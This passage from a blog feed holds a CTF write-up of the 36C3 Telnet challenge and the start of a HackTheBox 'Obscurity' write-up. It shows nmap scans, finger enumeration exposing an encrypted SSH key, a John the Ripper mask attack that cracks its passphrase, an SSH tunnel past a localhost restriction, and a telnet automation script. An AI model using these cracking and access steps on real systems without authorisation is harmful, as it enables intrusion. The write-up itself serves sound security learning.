src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-28-11.05.20_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The barcode encoded our username - the tag of our RFID card. The QR code points to a help page with a cryptic image:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/help.png\" data-pswp-width=\"797\" data-pswp-height=\"1058\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/help_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Checking on the domain, no website was being served. So <code>nmap<\/code> it is:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># nmap -sS -sV telnet.klartext-reden.net<\/span>\nStarting<span class=\"w\"> <\/span>Nmap<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.60<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"w\"> <\/span>https:\/\/nmap.org<span class=\"w\"> <\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span>at<span class=\"w\"> <\/span><span class=\"m\">2019<\/span>-12-27<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:22<span class=\"w\"> <\/span>CET\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>telnet.klartext-reden.net<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">151<\/span>.217.79.34<span class=\"o\">)<\/span>\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.0055s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nOther<span class=\"w\"> <\/span>addresses<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>telnet.klartext-reden.net<span class=\"w\"> <\/span><span class=\"o\">(<\/span>not<span class=\"w\"> <\/span>scanned<span class=\"o\">)<\/span>:<span class=\"w\"> <\/span><span class=\"m\">2001<\/span>:67c:20a1:1079:baca:3aff:fe76:9b93\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">997<\/span><span class=\"w\"> <\/span>filtered<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">   <\/span>STATE<span class=\"w\"> <\/span>SERVICE<span class=\"w\"> <\/span>VERSION\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>ssh<span class=\"w\">     <\/span>OpenSSH<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.6p1<span class=\"w\"> <\/span>Ubuntu<span class=\"w\"> <\/span>4ubuntu0.3<span class=\"w\"> <\/span><span class=\"o\">(<\/span>Ubuntu<span class=\"w\"> <\/span>Linux<span class=\"p\">;<\/span><span class=\"w\"> <\/span>protocol<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.0<span class=\"o\">)<\/span>\n<span class=\"m\">23<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>telnet<span class=\"w\">  <\/span>Linux<span class=\"w\"> <\/span>telnetd\n<span class=\"m\">79<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>finger<span class=\"w\">  <\/span>OpenBSD<span class=\"w\"> <\/span>fingerd<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ported<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>Linux<span class=\"o\">)<\/span>\nService<span class=\"w\"> <\/span>Info:<span class=\"w\"> <\/span>Host:<span class=\"w\"> <\/span>telnet.fritz.box<span class=\"p\">;<\/span><span class=\"w\"> <\/span>OSs:<span class=\"w\"> <\/span>Linux,<span class=\"w\"> <\/span>Linux<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.15.0-72-generic<span class=\"p\">;<\/span><span class=\"w\"> <\/span>CPE:<span class=\"w\"> <\/span>cpe:\/o:linux:linux_kernel,<span class=\"w\"> <\/span>cpe:\/o:linux:linux_kernel:4.15.0-72-generic\n<\/code><\/pre><\/div>\n\n<h2>Step 2: Fingering<\/h2>\n<p>Finger. My CTF senses are tingling! It's a fairly unusual protocol which I have only come across in other competitions. Listing the users, we get the following:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># finger -l u0x046ED96A@telnet.klartext-reden.net<\/span>\n\nWelcome<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>Linux<span class=\"w\"> <\/span>version<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.15.0-72-generic<span class=\"w\"> <\/span>at<span class=\"w\"> <\/span>telnet.fritz.box<span class=\"w\"> <\/span>!\n\n<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:24:05<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"m\">20<\/span>:17,<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>user,<span class=\"w\">  <\/span>load<span class=\"w\"> <\/span>average:<span class=\"w\"> <\/span><span class=\"m\">0<\/span>,05,<span class=\"w\"> <\/span><span class=\"m\">0<\/span>,03,<span class=\"w\"> <\/span><span class=\"m\">0<\/span>,00\n\nLogin:<span class=\"w\"> <\/span>u0x046ED96A<span class=\"w\">              <\/span>Name:\nDirectory:<span class=\"w\"> <\/span>\/home\/u0x046ED96A<span class=\"w\">            <\/span>Shell:<span class=\"w\"> <\/span>\/usr\/local\/challenge\/bin\/set-user-stage.py\nNever<span class=\"w\"> <\/span>logged<span class=\"w\"> <\/span><span class=\"k\">in<\/span>.\nNo<span class=\"w\"> <\/span>mail.\nPlan:\n-----BEGIN<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\nProc-Type:<span class=\"w\"> <\/span><span class=\"m\">4<\/span>,ENCRYPTED\nDEK-Info:<span class=\"w\"> <\/span>AES-128-CBC,B8D5085BC87F91A3D1C351F9EFBF8420\n\n+j7CIT5f0DF7TlGri2j4QenGnG+xtbbLV3mujc\/KCUFEV7cAtA+xEriWIIvO2oqL\nYbZVPtwh5BYxMKOwlFpbqnKvsB+0ldS2jkYerMqi4hAQvbApOO5bjSRYedWuASKb\nlZcYMnorD<span class=\"w\"> <\/span>&lt;...&gt;\n-----END<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\n<\/code><\/pre><\/div>\n\n<p>The above help mentions a passphrase. It's fairly long, so brute force will not get us anywhere. But we have the charset from the help page, and sneakily another thermal printout arrived.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-28-11.05.15.jpg\" data-pswp-width=\"2610\" data-pswp-height=\"4640\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-28-11.05.15_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Charset and pattern now drastically reduced our cracking time.<\/p>\n<h2>Step 3: Cracking<\/h2>\n<p>We fired up John and configured it to perform a mask attack on the encrypted SSH key.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># .\/JohnTheRipper\/run\/ssh2john.py id.rsa &gt; id.hash<\/span>\n<span class=\"c1\"># .\/JohnTheRipper\/run\/john --mask=?1?1?1?1?1?1?1?1?1-36C3 -1=[ABCFGOo0] id.hash<\/span>\nNote:<span class=\"w\"> <\/span>This<span class=\"w\"> <\/span>format<span class=\"w\"> <\/span>may<span class=\"w\"> <\/span>emit<span class=\"w\"> <\/span><span class=\"nb\">false<\/span><span class=\"w\"> <\/span>positives,<span class=\"w\"> <\/span>so<span class=\"w\"> <\/span>it<span class=\"w\"> <\/span>will<span class=\"w\"> <\/span>keep<span class=\"w\"> <\/span>trying<span class=\"w\"> <\/span>even<span class=\"w\"> <\/span>after<span class=\"w\"> <\/span>finding<span class=\"w\"> <\/span>a\npossible<span class=\"w\"> <\/span>candidate.\nUsing<span class=\"w\"> <\/span>default<span class=\"w\"> <\/span>input<span class=\"w\"> <\/span>encoding:<span class=\"w\"> <\/span>UTF-8\nLoaded<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>SSH<span class=\"w\"> <\/span><span class=\"o\">[<\/span>RSA\/DSA\/EC\/OPENSSH<span class=\"w\"> <\/span><span class=\"o\">(<\/span>SSH<span class=\"w\"> <\/span>private<span class=\"w\"> <\/span>keys<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">32<\/span>\/64<span class=\"o\">])<\/span>\nCost<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>KDF\/cipher<span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"nv\">0<\/span><span class=\"o\">=<\/span>MD5\/AES<span class=\"w\"> <\/span><span class=\"nv\">1<\/span><span class=\"o\">=<\/span>MD5\/3DES<span class=\"w\"> <\/span><span class=\"nv\">2<\/span><span class=\"o\">=<\/span>Bcrypt\/AES<span class=\"o\">])<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nCost<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>iteration<span class=\"w\"> <\/span>count<span class=\"o\">)<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nWill<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span><span class=\"m\">8<\/span><span class=\"w\"> <\/span>OpenMP<span class=\"w\"> <\/span>threads\nPress<span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>Ctrl-C<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>abort,<span class=\"w\"> <\/span>almost<span class=\"w\"> <\/span>any<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>status\noABAFOC0G-36C3<span class=\"w\">   <\/span><span class=\"o\">(<\/span>id.rsa<span class=\"o\">)<\/span>\n1g<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00:00:30<span class=\"w\"> <\/span>DONE<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2019<\/span>-12-27<span class=\"w\"> <\/span><span class=\"m\">15<\/span>:31<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>.03264g\/s<span class=\"w\"> <\/span>4380Kp\/s<span class=\"w\"> <\/span>4380Kc\/s<span class=\"w\"> <\/span>4380KC\/s<span class=\"w\"> <\/span>AA0000000-36C3..000000000-36C3\nSession<span class=\"w\"> <\/span>completed\n<\/code><\/pre><\/div>\n\n<p>We tried to login with the provided key and received an error that only connections from localhost are allowed to pass. Tunnelling can help here:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># ssh -i id.rsa -NfT -L 23000:127.0.0.1:23 u0x046ED96A@telnet.klartext-reden.net<\/span>\n<\/code><\/pre><\/div>\n\n<p>Here we got stuck. There was no interactive shell. We moved on a stage as everyone could see on the leaderboard. In fact, we were rank 1. The pressure was on.<\/p>\n<h2>Step 4: Get Moving!<\/h2>\n<p>Staring at the help page and a few chats for fresh ideas brought the part in the lower left to my attention. That looks quite familiar..<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-11.23.21.jpg\" data-pswp-width=\"4640\" data-pswp-height=\"2610\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-11.23.21_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>It's a depiction of the centre column in Hall 2! This took me longer to figure out than I'm willing to admit here. I grabbed my things and went to the described location. Nothing. I walked around the area a bit and quickly fell back to using the magic of the Congress: Everyone wants to help. I talked to people at the centre column and asked them whether they saw an unusual poster at the column. When they got up, I saw it! A small sticker at the bottom of the column.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-5\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-18.52.46-1.jpg\" data-pswp-width=\"4640\" data-pswp-height=\"2610\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-18.52.46-1_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>This isn't the end, apparently. I opened my trusty c3nav app and headed NNW, looking at every booth in the process. Finally, I stumbled across another Telnet booth. On top of it, the next (beautifully hand-drawn) hint was taped.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-6\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-18.57.08-1.jpg\" data-pswp-width=\"3696\" data-pswp-height=\"2400\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-27-18.57.08-1_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<h2>Step 5: Back to Work!<\/h2>\n<p>Staring at the hint for a while, I started to experiment in Python:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">26<\/span><span class=\"p\">]:<\/span> <span class=\"n\">suffix<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;-36C3&quot;<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">27<\/span><span class=\"p\">]:<\/span> <span class=\"n\">uname<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;u0x046ED96A&quot;<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">28<\/span><span class=\"p\">]:<\/span> <span class=\"n\">m<\/span> <span class=\"o\">=<\/span> <span class=\"n\">hashlib<\/span><span class=\"o\">.<\/span><span class=\"n\">sha256<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">29<\/span><span class=\"p\">]:<\/span> <span class=\"n\">m<\/span><span class=\"o\">.<\/span><span class=\"n\">update<\/span><span class=\"p\">(<\/span><span class=\"n\">uname<\/span><span class=\"o\">.<\/span><span class=\"n\">lower<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">()<\/span> <span class=\"o\">+<\/span> <span class=\"n\">suffix<\/span><span class=\"o\">.<\/span><span class=\"n\">lower<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">())<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">30<\/span><span class=\"p\">]:<\/span> <span class=\"n\">m<\/span><span class=\"o\">.<\/span><span class=\"n\">hexdigest<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">30<\/span><span class=\"p\">]:<\/span> <span class=\"s1\">&#39;e7f9e16e3836559474f6ccbd2680558a050dbb3c349333bbc113fd4226991e4e&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>And according to the drawing, the first eight characters should be the password. Trying that:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>telnet<span class=\"w\"> <\/span><span class=\"m\">127<\/span>.0.0.1<span class=\"w\"> <\/span><span class=\"m\">23000<\/span>\nTrying<span class=\"w\"> <\/span><span class=\"m\">127<\/span>.0.0.1...\nConnected<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">127<\/span>.0.0.1.\nEscape<span class=\"w\"> <\/span>character<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"s1\">&#39;^]&#39;<\/span>.\nUbuntu<span class=\"w\"> <\/span><span class=\"m\">18<\/span>.04.3<span class=\"w\"> <\/span>LTS\nUsername:<span class=\"w\"> <\/span>u0x046ED96A\nPassword:\nf<span class=\"o\">(<\/span>Telnet,<span class=\"w\"> <\/span>secure<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span>27000f1b1711\nf<span class=\"o\">(<\/span>Klartext,<span class=\"w\"> <\/span>usSaUfYy<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span>\n<\/code><\/pre><\/div>\n\n<p>We move up another stage on the leaderboard (still leading!). But we are greeted with another cryptographic challenge that changes every time we try to authenticate. And it's time locked. Obviously we have to automate things here.A hunch and a bit of trial and error showed that it is a simple XOR on both strings. Now I needed to automatically get the result into the active session. I read up on how to automatically interact with Telnet sessions in Python and hacked up a little script.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"ch\">#!\/usr\/bin\/env python3<\/span>\n\n<span class=\"kn\">import<\/span> <span class=\"nn\">hashlib<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">telnetlib<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">re<\/span>\n\n<span class=\"n\">suffix<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;-36C3&quot;<\/span>\n<span class=\"n\">uname<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;u0x046ED96A&quot;<\/span>\n<span class=\"n\">m<\/span> <span class=\"o\">=<\/span> <span class=\"n\">hashlib<\/span><span class=\"o\">.<\/span><span class=\"n\">sha256<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">m<\/span><span class=\"o\">.<\/span><span class=\"n\">update<\/span><span class=\"p\">(<\/span><span class=\"n\">uname<\/span><span class=\"o\">.<\/span><span class=\"n\">lower<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">()<\/span> <span class=\"o\">+<\/span> <span class=\"n\">suffix<\/span><span class=\"o\">.<\/span><span class=\"n\">lower<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">())<\/span>\n<span class=\"n\">pw<\/span> <span class=\"o\">=<\/span> <span class=\"n\">m<\/span><span class=\"o\">.<\/span><span class=\"n\">hexdigest<\/span><span class=\"p\">()[:<\/span><span class=\"mi\">8<\/span><span class=\"p\">]<\/span>\n<span class=\"n\">challenge_regex<\/span> <span class=\"o\">=<\/span> <span class=\"n\">re<\/span><span class=\"o\">.<\/span><span class=\"n\">compile<\/span><span class=\"p\">(<\/span><span class=\"sa\">r<\/span><span class=\"s2\">&quot;f\\(Klartext, (\\w+)\\)&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">tn<\/span> <span class=\"o\">=<\/span> <span class=\"n\">telnetlib<\/span><span class=\"o\">.<\/span><span class=\"n\">Telnet<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;localhost&quot;<\/span><span class=\"p\">,<\/span> <span class=\"n\">port<\/span><span class=\"o\">=<\/span><span class=\"mi\">23000<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">read_until<\/span><span class=\"p\">(<\/span><span class=\"sa\">b<\/span><span class=\"s2\">&quot;Username: &quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"n\">uname<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;ascii&#39;<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"sa\">b<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">read_until<\/span><span class=\"p\">(<\/span><span class=\"sa\">b<\/span><span class=\"s2\">&quot;Password: &quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"n\">pw<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;ascii&quot;<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"sa\">b<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">read_until<\/span><span class=\"p\">(<\/span><span class=\"sa\">b<\/span><span class=\"s2\">&quot;f(Telnet, secure) = 27000f1b1711&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">challenge<\/span> <span class=\"o\">=<\/span> <span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">read_until<\/span><span class=\"p\">(<\/span><span class=\"sa\">b<\/span><span class=\"s2\">&quot;=&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">decode<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;ascii&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">challenge_str<\/span> <span class=\"o\">=<\/span> <span class=\"n\">challenge_regex<\/span><span class=\"o\">.<\/span><span class=\"n\">findall<\/span><span class=\"p\">(<\/span><span class=\"n\">challenge<\/span><span class=\"p\">)[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span>\n<span class=\"n\">response<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">([<\/span><span class=\"s2\">&quot;<\/span><span class=\"si\">{:02x}<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"nb\">ord<\/span><span class=\"p\">(<\/span><span class=\"n\">a<\/span><span class=\"p\">)<\/span> <span class=\"o\">^<\/span> <span class=\"nb\">ord<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">))<\/span> <span class=\"k\">for<\/span> <span class=\"n\">a<\/span><span class=\"p\">,<\/span><span class=\"n\">b<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">zip<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Klartext&quot;<\/span><span class=\"p\">,<\/span> <span class=\"n\">challenge_str<\/span><span class=\"p\">)])<\/span>\n<span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"n\">response<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;ascii&quot;<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"sa\">b<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">tn<\/span><span class=\"o\">.<\/span><span class=\"n\">read_all<\/span><span class=\"p\">())<\/span>\n<\/code><\/pre><\/div>\n\n<p>The output told me to scan my RFID badge at the hot wire station where we started. I waited for my companion to finish his Angel shift (because he was one of the awesome volunteers), and with him present I scanned the RFID card. Another thermal printout came in.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-7\">\n    <a href=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-28-11.02.46.jpg\" data-pswp-width=\"2610\" data-pswp-height=\"4640\" target=\"_blank\">\n        <img src=\"\/blog\/the-36c3-telnet-challenge-aka-cat-ctf\/2019-12-28-11.02.46_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>And, in under eight hours, team <code>OMA<\/code> solved the Telnet challenge - ranked first. The applause started with the Telnet team and quickly spread throughout the whole conference hall. We picked our shirts, and left with the satisfaction of what turned out to be a well-invested work day's time.Huge thanks go out to the <a href=\"https:\/\/klartext-reden.net\/\">Telnet people<\/a> for organising such a fun and challenging experience, and <code>movatica<\/code> for being such a great partner in crime.Until next year, dear Congress! I hope all of your keys stay safe and your Tschunk doesn't run out.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox Obscurity","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/01\/12\/hackthebox-obscurity.html","rel":"alternate"}},"published":"2020-01-12T00:00:00+01:00","updated":"2020-01-12T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-01-12:\/2020\/01\/12\/hackthebox-obscurity.html","summary":"<p>Obscurity is a medium-difficulty box. It was super fun to solve because it involved great excuses for me to write some neat little helper scripts and find a vulnerability in Python code. Something you don't do too often in these challenges. Let's dive right in with a nmap scan:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>nmap \u2026<\/code><\/pre><\/div>","content":"<p>Obscurity is a medium-difficulty box. It was super fun to solve because it involved great excuses for me to write some neat little helper scripts and find a vulnerability in Python code. Something you don't do too often in these challenges. Let's dive right in with a nmap scan:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>nmap<span class=\"w\"> <\/span>-sS<span class=\"w\"> <\/span>-sC<span class=\"w\"> <\/span>-oN<span class=\"w\"> <\/span>obscurity.nmap<span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.168\nNmap<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.80<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>initiated<span class=\"w\"> <\/span>Fri<span class=\"w\"> <\/span>Jan<span class=\"w\"> <\/span><span class=\"m\">10<\/span><span class=\"w\"> <\/span><span class=\"m\">12<\/span>:57:06<span class=\"w\"> <\/span><span class=\"m\">2020<\/span><span class=\"w\"> <\/span>as:<span class=\"w\"> <\/span>nmap<span class=\"w\"> <\/span>-sS<span class=\"w\"> <\/span>-sC<span class=\"w\"> <\/span>-oN<span class=\"w\"> <\/span>obscurity.nmap<span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.168\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.168\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.16s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">996<\/span><span class=\"w\"> <\/span>filtered<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">     <\/span>STATE<span class=\"w\">  <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\">   <\/span>open<span class=\"w\">   <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span><span class=\"m\">33<\/span>:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\">   <\/span>closed<span class=\"w\"> <\/span>http\n<span class=\"m\">8080<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">   <\/span>http-proxy\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>HEAD<span class=\"w\"> <\/span>POST<span class=\"w\"> <\/span>OPTIONS\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>0bscura\n<span 